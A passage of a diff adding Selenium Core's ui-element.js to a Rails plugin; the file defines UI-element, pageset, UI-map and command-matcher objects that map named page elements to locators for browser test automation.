+++ b/vendor/plugins/selenium-on-rails/selenium-core/scripts/ui-element.js
@@ -0,0 +1,1537 @@
+//******************************************************************************
+// Globals, including constants
+
+var UI_GLOBAL = {
+    UI_PREFIX: 'ui'
+    , XHTML_DOCTYPE: '<!DOCTYPE html PUBLIC '
+        + '"-//W3C//DTD XHTML 1.0 Strict//EN" '
+        + '"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">'
+    , XHTML_XMLNS: 'http://www.w3.org/1999/xhtml'
+};
+
+//*****************************************************************************
+// Exceptions
+
+function UIElementException(message)
+{
+    this.message = message;
+    this.name = 'UIElementException';
+}
+
+function UIArgumentException(message)
+{
+    this.message = message;
+    this.name = 'UIArgumentException';
+}
+
+function PagesetException(message)
+{
+    this.message = message;
+    this.name = 'PagesetException';
+}
+
+function UISpecifierException(message)
+{
+    this.message = message;
+    this.name = 'UISpecifierException';
+}
+
+function CommandMatcherException(message)
+{
+    this.message = message;
+    this.name = 'CommandMatcherException';
+}
+
+//*****************************************************************************
+// UI-Element core
+
+/**
+ * The UIElement object. This has been crafted along with UIMap to make
+ * specifying UI elements using JSON as simple as possible. Object construction
+ * will fail if 1) a proper name isn't provided, 2) a faulty args argument is
+ * given, or 3) getLocator() returns undefined for a valid permutation of
+ * default argument values. See ui-doc.html for the documentation on the
+ * builder syntax.
+ *
+ * @param uiElementShorthand  an object whose contents conform to the
+ *                            UI-Element builder syntax.
+ *
+ * @return  a new UIElement object
+ * @throws  UIElementException
+ */
+function UIElement(uiElementShorthand)
+{
+    // a shorthand object might look like:
+    //
+    // {
+    //     name: 'topic'
+    //     , description: 'sidebar links to topic categories'
+    //     , args: [
+    //         {
+    //             name: 'name'
+    //             , description: 'the name of the topic'
+    //             , defaultValues: topLevelTopics
+    //         }
+    //     ]
+    //     , getLocator: function(args) {
+    //         return this._listXPath +
+    //             "/a[text()=" + args.name.quoteForXPath() + "]";
+    //     }
+    //     , getGenericLocator: function() {
+    //         return this._listXPath + '/a';
+    //     }
+    //     // maintain testcases for getLocator()
+    //     , testcase1: {
+    //         // defaultValues used if args not specified
+    //         args: { name: 'foo' }
+    //         , xhtml: '<div id="topiclist">'
+    //             + '<ul><li><a expected-result="1">foo</a></li></ul>'
+    //             + '</div>'
+    //     }
+    //     // set a local element variable
+    //     , _listXPath: "//div[@id='topiclist']/ul/li"
+    // }
+    //
+    // name cannot be null or an empty string. Enforce the same requirement for
+    // the description.
+    
+    /**
+     * Recursively returns all permutations of argument-value pairs, given
+     * a list of argument definitions. Each argument definition will have
+     * a set of default values to use in generating said pairs. If an argument
+     * has no default values defined, it will not be included among the
+     * permutations.
+     *
+     * @param args            a list of UIArguments
+     * @param opt_inDocument  (optional)
+     * @return      a list of associative arrays containing key value pairs
+     */
+    this.permuteArgs = function(args, opt_inDocument) {
+        var permutations = [];
+        for (var i = 0; i < args.length; ++i) {
+            var arg = args[i];
+            var defaultValues = (arguments.length > 1)
+                ? arg.getDefaultValues(opt_inDocument)
+                : arg.getDefaultValues();
+            
+            // skip arguments for which no default values are defined
+            if (defaultValues.length == 0) {
+                continue;
+            }
+            for (var j = 0; j < defaultValues.length; ++j) {
+                var value = defaultValues[j];
+                var nextPermutations = this.permuteArgs(args.slice(i+1));
+                if (nextPermutations.length == 0) {
+                    var permutation = {};
+                    permutation[arg.name] = value + ''; // make into string
+                    permutations.push(permutation);
+                }
+                else {
+                    for (var k = 0; k < nextPermutations.length; ++k) {
+                        nextPermutations[k][arg.name] = value + '';
+                        permutations.push(nextPermutations[k]);
+                    }
+                }
+            }
+            break;
+        }
+        return permutations;
+    }
+    
+    
+    
+    /**
+     * Returns a list of all testcases for this UIElement.
+     */
+    this.getTestcases = function()
+    {
+        return this.testcases;
+    }
+    
+    
+    
+    /**
+     * Run all unit tests, stopping at the first failure, if any. Return true
+     * if no failures encountered, false otherwise. See the following thread
+     * regarding use of getElementById() on XML documents created by parsing
+     * text via the DOMParser:
+     *
+     * http://groups.google.com/group/comp.lang.javascript/browse_thread/thread/2b1b82b3c53a1282/
+     */
+    this.test = function()
+    {
+        var parser = new DOMParser();
+        var testcases = this.getTestcases();
+        testcaseLoop: for (var i = 0; i < testcases.length; ++i) {
+            var testcase = testcases[i];
+            var xhtml = UI_GLOBAL.XHTML_DOCTYPE + '<html xmlns="'
+                + UI_GLOBAL.XHTML_XMLNS + '">' + testcase.xhtml + '</html>';
+            var doc = parser.parseFromString(xhtml, "text/xml");
+            if (doc.firstChild.nodeName == 'parsererror') {
+                safe_alert('Error parsing XHTML in testcase "' + testcase.name
+                    + '" for UI element "' + this.name + '": ' + "\n"
+                    + doc.firstChild.firstChild.nodeValue);
+            }
+            
+            // we're no longer using the default locators when testing, because
+            // args is now required
+            var locator = parse_locator(this.getLocator(testcase.args));
+            var results;
+            if (locator.type == 'xpath' || (locator.type == 'implicit' &&
+                locator.string.substring(0, 2) == '//')) {
+                // try using the javascript xpath engine to avoid namespace
+                // issues. The xpath does have to be lowercase however, it
+                // seems. 
+                results = eval_xpath(locator.string, doc,
+                    { allowNativeXpath: false, returnOnFirstMatch: true });
+            }
+            else {
+                // piece the locator back together
+                locator = (locator.type == 'implicit')
+                    ? locator.string
+                    : locator.type + '=' + locator.string;
+                results = eval_locator(locator, doc);
+            }
+            if (results.length && results[0].hasAttribute('expected-result')) {
+                continue testcaseLoop;
+            }
+            
+            // testcase failed
+            if (is_IDE()) {
+                var msg = 'Testcase "' + testcase.name
+                    + '" failed for UI element "' + this.name + '":';
+                if (!results.length) {
+                    msg += '\n"' + locator + '" did not match any elements!';
+                }
+                else {
+                    msg += '\n' + results[0] + ' was not the expected result!';
+                }
+                safe_alert(msg);
+            }
+            return false;
+        }
+        return true;
+    };
+    
+    
+    
+    /**
+     * Creates a set of locators using permutations of default values for
+     * arguments used in the locator construction. The set is returned as an
+     * object mapping locators to key-value arguments objects containing the
+     * values passed to getLocator() to create the locator.
+     *
+     * @param opt_inDocument (optional) the document object of the "current"
+     *                       page when this method is invoked. Some arguments
+     *                       may have default value lists that are calculated
+     *                       based on the contents of the page.
+     *
+     * @return  a list of locator strings
+     * @throws  UIElementException
+     */
+    this.getDefaultLocators = function(opt_inDocument) {
+        var defaultLocators = {};
+        if (this.args.length == 0) {
+            defaultLocators[this.getLocator({})] = {};
+        }
+        else {
+            var permutations = this.permuteArgs(this.args, opt_inDocument);
+            if (permutations.length != 0) {
+                for (var i = 0; i < permutations.length; ++i) {
+                    var args = permutations[i];
+                    var locator = this.getLocator(args);
+                    if (!locator) {
+                        throw new UIElementException('Error in UIElement(): '
+                            + 'no getLocator return value for element "' + name
+                            + '"');
+                    }
+                    defaultLocators[locator] = args;
+                }
+            }
+            else {
+                // try using no arguments. If it doesn't work, fine.
+                try {
+                    var locator = this.getLocator();
+                    defaultLocators[locator] = {};
+                }
+                catch (e) {
+                    safe_log('debug', e.message);
+                }
+            }
+        }
+        return defaultLocators;
+    };
+    
+    
+    
+    /**
+     * Validate the structure of the shorthand notation this object is being
+     * initialized with. Throws an exception if there's a validation error.
+     *
+     * @param uiElementShorthand
+     *
+     * @throws  UIElementException
+     */
+    this.validate = function(uiElementShorthand)
+    {
+        var msg = "UIElement validation error:\n" + print_r(uiElementShorthand);
+        if (!uiElementShorthand.name) {
+            throw new UIElementException(msg + 'no name specified!');
+        }
+        if (!uiElementShorthand.description) {
+            throw new UIElementException(msg + 'no description specified!');
+        }
+        if (!uiElementShorthand.locator
+            && !uiElementShorthand.getLocator
+            && !uiElementShorthand.xpath
+            && !uiElementShorthand.getXPath) {
+            throw new UIElementException(msg + 'no locator specified!');
+        }
+    };
+    
+    
+    
+    this.init = function(uiElementShorthand)
+    {
+        this.validate(uiElementShorthand);
+        
+        this.name = uiElementShorthand.name;
+        this.description = uiElementShorthand.description;
+        
+        // construct a new getLocator() method based on the locator property,
+        // or use the provided function. We're deprecating the xpath property
+        // and getXPath() function, but still allow for them for backwards
+        // compatability.
+        if (uiElementShorthand.locator) {
+            this.getLocator = function(args) {
+                return uiElementShorthand.locator;
+            };
+        }
+        else if (uiElementShorthand.getLocator) {
+            this.getLocator = uiElementShorthand.getLocator;
+        }
+        else if (uiElementShorthand.xpath) {
+            this.getLocator = function(args) {
+                return uiElementShorthand.xpath;
+            };
+        }
+        else {
+            this.getLocator = uiElementShorthand.getXPath;
+        }
+        
+        if (uiElementShorthand.genericLocator) {
+            this.getGenericLocator = function() {
+                return uiElementShorthand.genericLocator;
+            };
+        }
+        else if (uiElementShorthand.getGenericLocator) {
+            this.getGenericLocator = uiElementShorthand.getGenericLocator;
+        }
+        
+        if (uiElementShorthand.getOffsetLocator) {
+            this.getOffsetLocator = uiElementShorthand.getOffsetLocator;
+        }
+        
+        // get the testcases and local variables
+        this.testcases = [];
+        var localVars = {};
+        for (var attr in uiElementShorthand) {
+            if (attr.match(/^testcase/)) {
+                var testcase = uiElementShorthand[attr];
+                if (uiElementShorthand.args &&
+                    uiElementShorthand.args.length && !testcase.args) {
+                    safe_alert('No args defined in ' + attr + ' for UI element '
+                        + this.name + '! Skipping testcase.');
+                    continue;
+                } 
+                testcase.name = attr;
+                this.testcases.push(testcase);
+            }
+            else if (attr.match(/^_/)) {
+                this[attr] = uiElementShorthand[attr];
+                localVars[attr] = uiElementShorthand[attr];
+            }
+        }
+        
+        // create the arguments
+        this.args = []
+        this.argsOrder = [];
+        if (uiElementShorthand.args) {
+            for (var i = 0; i < uiElementShorthand.args.length; ++i) {
+                var arg = new UIArgument(uiElementShorthand.args[i], localVars);
+                this.args.push(arg);
+                this.argsOrder.push(arg.name);
+
+                // if an exception is thrown when invoking getDefaultValues()
+                // with no parameters passed in, assume the method requires an
+                // inDocument parameter, and thus may only be invoked at run
+                // time. Mark the UI element object accordingly.
+                try {
+                    arg.getDefaultValues();
+                }
+                catch (e) {
+                    this.isDefaultLocatorConstructionDeferred = true;
+                }
+            }
+            
+        }
+        
+        if (!this.isDefaultLocatorConstructionDeferred) {
+            this.defaultLocators = this.getDefaultLocators();
+        }
+    };
+    
+    
+    
+    this.init(uiElementShorthand);
+}
+
+// hang this off the UIElement "namespace"
+UIElement.defaultOffsetLocatorStrategy = function(locatedElement, pageElement) {
+    if (is_ancestor(locatedElement, pageElement)) {
+        var offsetLocator;
+        var recorder = Recorder.get(locatedElement.ownerDocument.defaultView);
+        var builderNames = [
+            'xpath:link'
+            , 'xpath:img'
+            , 'xpath:attributes'
+            , 'xpath:idRelative'
+            , 'xpath:href'
+            , 'xpath:position'
+        ];
+        for (var i = 0; i < builderNames.length; ++i) {
+            offsetLocator = recorder.locatorBuilders
+                .buildWith(builderNames[i], pageElement, locatedElement);
+            if (offsetLocator) {
+                return offsetLocator;
+            }
+        }
+    }
+    return null;
+};
+
+
+
+/**
+ * Constructs a UIArgument. This is mostly for checking that the values are
+ * valid.
+ *
+ * @param uiArgumentShorthand
+ * @param localVars
+ *
+ * @throws  UIArgumentException
+ */
+function UIArgument(uiArgumentShorthand, localVars)
+{
+    /**
+     * @param uiArgumentShorthand
+     *
+     * @throws  UIArgumentException
+     */
+    this.validate = function(uiArgumentShorthand)
+    {
+        var msg = "UIArgument validation error:\n"
+            + print_r(uiArgumentShorthand);
+        
+        // try really hard to throw an exception!
+        if (!uiArgumentShorthand.name) {
+            throw new UIArgumentException(msg + 'no name specified!');
+        }
+        if (!uiArgumentShorthand.description) {
+            throw new UIArgumentException(msg + 'no description specified!');
+        }
+        if (!uiArgumentShorthand.defaultValues &&
+            !uiArgumentShorthand.getDefaultValues) {
+            throw new UIArgumentException(msg + 'no default values specified!');
+        }
+    };
+    
+    
+    
+    /**
+     * @param uiArgumentShorthand
+     * @param localVars            a list of local variables
+     */
+    this.init = function(uiArgumentShorthand, localVars)
+    {
+        this.validate(uiArgumentShorthand);
+        
+        this.name = uiArgumentShorthand.name;
+        this.description = uiArgumentShorthand.description;
+        
+        if (uiArgumentShorthand.defaultValues) {
+            var defaultValues = uiArgumentShorthand.defaultValues;
+            this.getDefaultValues =
+                function() { return defaultValues; }
+        }
+        else {
+            this.getDefaultValues = uiArgumentShorthand.getDefaultValues;
+        }
+        
+        for (var name in localVars) {
+            this[name] = localVars[name];
+        }
+    }
+    
+    
+    
+    this.init(uiArgumentShorthand, localVars);
+}
+
+
+
+/**
+ * The UISpecifier constructor is overloaded. If less than three arguments are
+ * provided, the first argument will be considered a UI specifier string, and
+ * will be split out accordingly. Otherwise, the first argument will be
+ * considered the path.
+ *
+ * @param uiSpecifierStringOrPagesetName  a UI specifier string, or the pageset
+ *                                        name of the UI specifier
+ * @param elementName  the name of the element
+ * @param args         an object associating keys to values
+ *
+ * @return  new UISpecifier object
+ */
+function UISpecifier(uiSpecifierStringOrPagesetName, elementName, args)
+{
+    /**
+     * Initializes this object from a UI specifier string of the form:
+     *
+     *     pagesetName::elementName(arg1=value1, arg2=value2, ...)
+     *
+     * into its component parts, and returns them as an object.
+     *
+     * @return  an object containing the components of the UI specifier
+     * @throws  UISpecifierException
+     */
+    this._initFromUISpecifierString = function(uiSpecifierString) {
+        var matches = /^(.*)::([^\(]+)\((.*)\)$/.exec(uiSpecifierString);
+        if (matches == null) {
+            throw new UISpecifierException('Error in '
+                + 'UISpecifier._initFromUISpecifierString(): "'
+                + this.string + '" is not a valid UI specifier string');
+        }
+        this.pagesetName = matches[1];
+        this.elementName = matches[2];
+        this.args = (matches[3]) ? parse_kwargs(matches[3]) : {};
+    };
+    
+    
+    
+    /**
+     * Override the toString() method to return the UI specifier string when
+     * evaluated in a string context. Combines the UI specifier components into
+     * a canonical UI specifier string and returns it.
+     *
+     * @return   a UI specifier string
+     */
+    this.toString = function() {
+        // empty string is acceptable for the path, but it must be defined
+        if (this.pagesetName == undefined) {
+            throw new UISpecifierException('Error in UISpecifier.toString(): "'
+                + this.pagesetName + '" is not a valid UI specifier pageset '
+                + 'name');
+        }
+        if (!this.elementName) {
+            throw new UISpecifierException('Error in UISpecifier.unparse(): "'
+                + this.elementName + '" is not a valid UI specifier element '
+                + 'name');
+        }
+        if (!this.args) {
+            throw new UISpecifierException('Error in UISpecifier.unparse(): "'
+                + this.args + '" are not valid UI specifier args');
+        }
+        
+        uiElement = UIMap.getInstance()
+            .getUIElement(this.pagesetName, this.elementName);
+        if (uiElement != null) {
+            var kwargs = to_kwargs(this.args, uiElement.argsOrder);
+        }
+        else {
+            // probably under unit test
+            var kwargs = to_kwargs(this.args);
+        }
+        return this.pagesetName + '::' + this.elementName + '(' + kwargs + ')';
+    };
+    
+    
+    
+    // construct the object
+    if (arguments.length < 2) {
+        this._initFromUISpecifierString(uiSpecifierStringOrPagesetName);
+    }
+    else {
+        this.pagesetName = uiSpecifierStringOrPagesetName;
+        this.elementName = elementName;
+        this.args = (args) ? clone(args) : {};
+    }
+}
+
+
+
+function Pageset(pagesetShorthand)
+{
+    /**
+     * Returns true if the page is included in this pageset, false otherwise.
+     * The page is specified by a document object.
+     *
+     * @param inDocument  the document object representing the page
+     */
+    this.contains = function(inDocument)
+    {
+        var urlParts = parseUri(unescape(inDocument.location.href));
+        var path = urlParts.path
+            .replace(/^\//, "")
+            .replace(/\/$/, "");
+        if (!this.pathRegexp.test(path)) {
+            return false;
+        }
+        for (var paramName in this.paramRegexps) {
+            var paramRegexp = this.paramRegexps[paramName];
+            if (!paramRegexp.test(urlParts.queryKey[paramName])) {
+                return false;
+            }
+        }
+        if (!this.pageContent(inDocument)) {
+            return false;
+        }
+        
+        return true;
+    }
+    
+    
+    
+    this.getUIElements = function()
+    {
+        var uiElements = [];
+        for (var uiElementName in this.uiElements) {
+            uiElements.push(this.uiElements[uiElementName]);
+        }
+        return uiElements;
+    };
+    
+    
+    
+    /**
+     * Returns a list of UI specifier string stubs representing all UI elements
+     * for this pageset. Stubs contain all required arguments, but leave
+     * argument values blank. Each element stub is paired with the element's
+     * description.
+     *
+     * @return  a list of UI specifier string stubs
+     */
+    this.getUISpecifierStringStubs = function()
+    {
+        var stubs = [];
+        for (var name in this.uiElements) {
+            var uiElement = this.uiElements[name];
+            var args = {};
+            for (var i = 0; i < uiElement.args.length; ++i) {
+                args[uiElement.args[i].name] = '';
+            }
+            var uiSpecifier = new UISpecifier(this.name, uiElement.name, args);
+            stubs.push([
+                UI_GLOBAL.UI_PREFIX + '=' + uiSpecifier.toString()
+                , uiElement.description
+            ]);
+        }
+        return stubs;
+    }
+    
+    
+    
+    /**
+     * Throws an exception on validation failure.
+     */
+    this._validate = function(pagesetShorthand)
+    {
+        var msg = "Pageset validation error:\n"
+            + print_r(pagesetShorthand);
+        if (!pagesetShorthand.name) {
+            throw new PagesetException(msg + 'no name specified!');
+        }
+        if (!pagesetShorthand.description) {
+            throw new PagesetException(msg + 'no description specified!');
+        }
+        if (!pagesetShorthand.paths &&
+            !pagesetShorthand.pathRegexp &&
+            !pagesetShorthand.pageContent) {
+            throw new PagesetException(msg
+                + 'no path, pathRegexp, or pageContent specified!');
+        }
+    };
+    
+    
+    
+    this.init = function(pagesetShorthand)
+    {
+        this._validate(pagesetShorthand);
+        
+        this.name = pagesetShorthand.name;
+        this.description = pagesetShorthand.description;
+        
+        var pathPrefixRegexp = pagesetShorthand.pathPrefix
+            ? RegExp.escape(pagesetShorthand.pathPrefix) : "";
+        var pathRegexp = '^' + pathPrefixRegexp;
+        
+        if (pagesetShorthand.paths != undefined) {
+            pathRegexp += '(?:';
+            for (var i = 0; i < pagesetShorthand.paths.length; ++i) {
+                if (i > 0) {
+                    pathRegexp += '|';
+                }
+                pathRegexp += RegExp.escape(pagesetShorthand.paths[i]);
+            }
+            pathRegexp += ')$';
+        }
+        else if (pagesetShorthand.pathRegexp) {
+            pathRegexp += '(?:' + pagesetShorthand.pathRegexp + ')$';
+        }
+
+        this.pathRegexp = new RegExp(pathRegexp);
+        this.paramRegexps = {};
+        for (var paramName in pagesetShorthand.paramRegexps) {
+            this.paramRegexps[paramName] =
+                new RegExp(pagesetShorthand.paramRegexps[paramName]);
+        }
+        this.pageContent = pagesetShorthand.pageContent ||
+            function() { return true; };
+        this.uiElements = {};
+    };
+    
+    
+    
+    this.init(pagesetShorthand);
+}
+
+
+
+/**
+ * Construct the UI map object, and return it. Once the object is instantiated,
+ * it binds to a global variable and will not leave scope.
+ *
+ * @return  new UIMap object
+ */
+function UIMap()
+{
+    // the singleton pattern, split into two parts so that "new" can still
+    // be used, in addition to "getInstance()"
+    UIMap.self = this;
+    
+    // need to attach variables directly to the Editor object in order for them
+    // to be in scope for Editor methods
+    if (is_IDE()) {
+        Editor.uiMap = this;
+        Editor.UI_PREFIX = UI_GLOBAL.UI_PREFIX;
+    }
+    
+    this.pagesets = new Object();
+    
+    
+    
+    /**
+     * pageset[pagesetName]
+     *   regexp
+     *   elements[elementName]
+     *     UIElement
+     */
+    this.addPageset = function(pagesetShorthand)
+    {
+        try {
+            var pageset = new Pageset(pagesetShorthand);
+        }
+        catch (e) {
+            safe_alert("Could not create pageset from shorthand:\n"
+                + print_r(pagesetShorthand) + "\n" + e.message);
+            return false;
+        }
+        
+        if (this.pagesets[pageset.name]) {
+            safe_alert('Could not add pageset "' + pageset.name
+                + '": a pageset with that name already exists!');
+            return false;
+        }
+        
+        this.pagesets[pageset.name] = pageset;
+        return true;
+    };
+    
+    
+    
+    /**
+     * @param pagesetName
+     * @param uiElementShorthand  a representation of a UIElement object in
+     *                            shorthand JSON.
+     */
+    this.addElement = function(pagesetName, uiElementShorthand)
+    {
+        try {
+            var uiElement = new UIElement(uiElementShorthand);
+        }
+        catch (e) {
+            safe_alert("Could not create UI element from shorthand:\n"
+                + print_r(uiElementShorthand) + "\n" + e.message);
+            return false;
+        }
+        
+        // run the element's unit tests only for the IDE, and only when the
+        // IDE is starting. Make a rough guess as to the latter condition.
+        if (is_IDE() && !editor.selDebugger && !uiElement.test()) {
+            safe_alert('Could not add UI element "' + uiElement.name
+                + '": failed testcases!');
+            return false;
+        }
+        
+        try {
+            this.pagesets[pagesetName].uiElements[uiElement.name] = uiElement;
+        }
+        catch (e) {
+            safe_alert("Could not add UI element '" + uiElement.name
+                + "' to pageset '" + pagesetName + "':\n" + e.message);
+            return false;
+        }
+        
+        return true;
+    };
+    
+    
+    
+    /**
+     * Returns the pageset for a given UI specifier string.
+     *
+     * @param uiSpecifierString
+     * @return  a pageset object
+     */
+    this.getPageset = function(uiSpecifierString)
+    {
+        try {
+            var uiSpecifier = new UISpecifier(uiSpecifierString);
+            return this.pagesets[uiSpecifier.pagesetName];
+        }
+        catch (e) {
+            return null;
+        }
+    }
+    
+    
+    
+    /**
+     * Returns the UIElement that a UISpecifierString or pageset and element
+     * pair refer to.
+     *
+     * @param pagesetNameOrUISpecifierString
+     * @return  a UIElement, or null if none is found associated with
+     *          uiSpecifierString
+     */
+    this.getUIElement = function(pagesetNameOrUISpecifierString, uiElementName)
+    {
+        var pagesetName = pagesetNameOrUISpecifierString;
+        if (arguments.length == 1) {
+            var uiSpecifierString = pagesetNameOrUISpecifierString;
+            try {
+                var uiSpecifier = new UISpecifier(uiSpecifierString);
+                pagesetName = uiSpecifier.pagesetName;
+                var uiElementName = uiSpecifier.elementName;
+            }
+            catch (e) {
+                return null;
+            }
+        }
+        try {
+            return this.pagesets[pagesetName].uiElements[uiElementName];
+        }
+        catch (e) {
+            return null;
+        }
+    };
+    
+    
+    
+    /**
+     * Returns a list of pagesets that "contains" the provided page,
+     * represented as a document object. Containership is defined by the
+     * Pageset object's contain() method.
+     *
+     * @param inDocument  the page to get pagesets for
+     * @return            a list of pagesets
+     */
+    this.getPagesetsForPage = function(inDocument)
+    {
+        var pagesets = [];
+        for (var pagesetName in this.pagesets) {
+            var pageset = this.pagesets[pagesetName];
+            if (pageset.contains(inDocument)) {
+                pagesets.push(pageset);
+            }
+        }
+        return pagesets;
+    };
+    
+    
+    
+    /**
+     * Returns a list of all pagesets.
+     *
+     * @return  a list of pagesets
+     */
+    this.getPagesets = function()
+    {
+        var pagesets = [];
+        for (var pagesetName in this.pagesets) {
+            pagesets.push(this.pagesets[pagesetName]);
+        }
+        return pagesets;
+    };
+    
+    
+    
+    /**
+     * Returns a list of elements on a page that a given UI specifier string,
+     * maps to. If no elements are mapped to, returns an empty list..
+     *
+     * @param   uiSpecifierString  a String that specifies a UI element with
+     *                             attendant argument values
+     * @param   inDocument         the document object the specified UI element
+     *                             appears in
+     * @return                     a potentially-empty list of elements
+     *                             specified by uiSpecifierString
+     */
+    this.getPageElements = function(uiSpecifierString, inDocument)
+    {
+        var locator = this.getLocator(uiSpecifierString);
+        var results = locator ? eval_locator(locator, inDocument) : [];
+        return results;
+    };
+    
+    
+    
+    /**
+     * Returns the locator string that a given UI specifier string maps to, or
+     * null if it cannot be mapped.
+     *
+     * @param uiSpecifierString
+     */
+    this.getLocator = function(uiSpecifierString)
+    {
+        try {
+            var uiSpecifier = new UISpecifier(uiSpecifierString);
+        }
+        catch (e) {
+            safe_alert('Could not create UISpecifier for string "'
+                + uiSpecifierString + '": ' + e.message);
+            return null;
+        }
+        
+        var uiElement = this.getUIElement(uiSpecifier.pagesetName,
+            uiSpecifier.elementName);
+        try {
+            return uiElement.getLocator(uiSpecifier.args);
+        }
+        catch (e) {
+            return null;
+        }
+    }
+    
+    
+    
+    /**
+     * Finds and returns a UI specifier string given an element and the page
+     * that it appears on.
+     *
+     * @param pageElement  the document element to map to a UI specifier
+     * @param inDocument   the document the element appears in
+     * @return             a UI specifier string, or false if one cannot be
+     *                     constructed
+     */
+    this.getUISpecifierString = function(pageElement, inDocument)
+    {
+        var is_fuzzy_match =
+            BrowserBot.prototype.locateElementByUIElement.is_fuzzy_match;
+        var pagesets = this.getPagesetsForPage(inDocument);
+        for (var i = 0; i < pagesets.length; ++i) {
+            var pageset = pagesets[i];
+            var uiElements = pageset.getUIElements();
+            for (var j = 0; j < uiElements.length; ++j) {
+                var uiElement = uiElements[j];
+                
+                // first test against the generic locator, if there is one.
+                // This should net some performance benefit when recording on
+                // more complicated pages.
+                if (uiElement.getGenericLocator) {
+                    var passedTest = false;
+                    var results =
+                        eval_locator(uiElement.getGenericLocator(), inDocument);
+                    for (var i = 0; i < results.length; ++i) {
+                        if (results[i] == pageElement) {
+                            passedTest = true;
+                            break;
+                        }
+                    }
+                    if (!passedTest) {
+                        continue;
+                    }
+                }
+                
+                var defaultLocators;
+                if (uiElement.isDefaultLocatorConstructionDeferred) {
+                    defaultLocators = uiElement.getDefaultLocators(inDocument);
+                }
+                else {
+                    defaultLocators = uiElement.defaultLocators;
+                }
+                
+                //safe_alert(print_r(uiElement.defaultLocators));
+                for (var locator in defaultLocators) {
+                    var locatedElements = eval_locator(locator, inDocument);
+                    if (locatedElements.length) {
+                        var locatedElement = locatedElements[0];
+                    }
+                    else {
+                        continue;
+                    }
+                    
+                    // use a heuristic to determine whether the element
+                    // specified is the "same" as the element we're matching
+                    if (is_fuzzy_match) {
+                        if (is_fuzzy_match(locatedElement, pageElement)) {
+                            return UI_GLOBAL.UI_PREFIX + '=' +
+                                new UISpecifier(pageset.name, uiElement.name,
+                                    defaultLocators[locator]);
+                        }
+                    }
+                    else {
+                        if (locatedElement == pageElement) {
+                            return UI_GLOBAL.UI_PREFIX + '=' +
+                                new UISpecifier(pageset.name, uiElement.name,
+                                    defaultLocators[locator]);
+                        }
+                    }
+                    // ok, matching the element failed. See if an offset
+                    // locator can complete the match.
+                    if (uiElement.getOffsetLocator) {
+                        for (var i = 0; i < locatedElements.length; ++i) {
+                            var offsetLocator = uiElement
+                                .getOffsetLocator(locatedElement, pageElement);
+                            if (offsetLocator) {
+                                return UI_GLOBAL.UI_PREFIX + '=' +
+                                    new UISpecifier(pageset.name,
+                                        uiElement.name,
+                                        defaultLocators[locator])
+                                    + '->' + offsetLocator;
+                            }
+                        }
+                    }
+                }
+            }
+        }
+        return false;
+    };
+    
+    
+    
+    /**
+     * Returns a sorted list of UI specifier string stubs representing possible
+     * UI elements for all pagesets, paired the their descriptions. Stubs
+     * contain all required arguments, but leave argument values blank.
+     *
+     * @return  a list of UI specifier string stubs
+     */
+    this.getUISpecifierStringStubs = function() {
+        var stubs = [];
+        var pagesets = this.getPagesets();
+        for (var i = 0; i < pagesets.length; ++i) {
+            stubs = stubs.concat(pagesets[i].getUISpecifierStringStubs());
+        }
+        stubs.sort(function(a, b) {
+            if (a[0] < b[0]) {
+                return -1;
+            }
+            return a[0] == b[0] ? 0 : 1;
+        });
+        return stubs;
+    }
+}
+
+UIMap.getInstance = function() {
+    return (UIMap.self == null) ? new UIMap() : UIMap.self;
+}
+
+//******************************************************************************
+// Rollups
+
+/**
+ * The Command object isn't available in the Selenium RC. We introduce an
+ * object with the identical constructor. In the IDE, this will be redefined,
+ * which is just fine.
+ *
+ * @param command
+ * @param target
+ * @param value
+ */
+if (typeof(Command) == 'undefined') {
+    function Command(command, target, value) {
+        this.command = command != null ? command : '';
+        this.target = target != null ? target : '';
+        this.value = value != null ? value : '';
+    }
+}
+
+
+
+/**
+ * A CommandMatcher object matches commands during the application of a
+ * RollupRule. It's specified with a shorthand format, for example:
+ *
+ *  new CommandMatcher({
+ *      command: 'click'
+ *      , target: 'ui=allPages::.+'
+ *  })
+ *
+ * which is intended to match click commands whose target is an element in the
+ * allPages PageSet. The matching expressions are given as regular expressions;
+ * in the example above, the command must be "click"; "clickAndWait" would be
+ * acceptable if 'click.*' were used. Here's a more complete example:
+ *
+ *  new CommandMatcher({
+ *      command: 'type'
+ *      , target: 'ui=loginPages::username()'
+ *      , value: '.+_test'
+ *      , updateArgs: function(command, args) {
+ *          args.username = command.value;
+ *      }
+ *  })
+ *
+ * Here, the command and target are fixed, but there is variability in the 
+ * value of the command. When a command matches, the username is saved to the
+ * arguments object.
+ */
+function CommandMatcher(commandMatcherShorthand)
+{
+    /**
+     * Ensure the shorthand notation used to initialize the CommandMatcher has
+     * all required values.
+     *
+     * @param commandMatcherShorthand  an object containing information about
+     *                                 the CommandMatcher
+     */
+    this.validate = function(commandMatcherShorthand) {
+        var msg = "CommandMatcher validation error:\n"
+            + print_r(commandMatcherShorthand);
+        if (!commandMatcherShorthand.command) {
+            throw new CommandMatcherException(msg + 'no command specified!');
+        }
+        if (!commandMatcherShorthand.target) {
+            throw new CommandMatcherException(msg + 'no target specified!');
+        }
+        if (commandMatcherShorthand.minMatches &&
+            commandMatcherShorthand.maxMatches &&
+            commandMatcherShorthand.minMatches >
+            commandMatcherShorthand.maxMatches) {
+            throw new CommandMatcherException(msg + 'minMatches > maxMatches!');
+        }
+    };
+
+    /**
+     * Initialize this object.
+     *
+     * @param commandMatcherShorthand  an object containing information used to
+     *                                 initialize the CommandMatcher
+     */
+    this.init = function(commandMatcherShorthand) {
+        this.validate(commandMatcherShorthand);
+        
+        this.command = commandMatcherShorthand.command;
+        this.target = commandMatcherShorthand.target;
+        this.value = commandMatcherShorthand.value || null;
+        this.minMatches = commandMatcherShorthand.minMatches || 1;
+        this.maxMatches = commandMatcherShorthand.maxMatches || 1;
+        this.updateArgs = commandMatcherShorthand.updateArgs ||
+            function(command, args) { return args; };
+    };
+    
+    /**
+     * Determines whether a given command matches. Updates args by "reference"
+     * and returns true if it does; return false otherwise.
+     *
+     * @param command  the command to attempt to match
+     */
+    this.isMatch = function(command) {
+        var re = new RegExp('^' + this.command + '$');
+        if (! re.test(command.command)) {
+            return false;
+        }
+        re = new RegExp('^' + this.target + '$');
+        if (! re.test(command.target)) {
+            return false;
+        }
+        if (this.value != null) {
+            re = new RegExp('^' + this.value + '$');
+            if (! re.test(command.value)) {
+                return false;
+            }
+        }
+        
+        // okay, the command matches
+        return true;
+    };
+    
+    // initialization
+    this.init(commandMatcherShorthand);
+}
+
+
+
+function RollupRuleException(message)
+{
+    this.message = message;
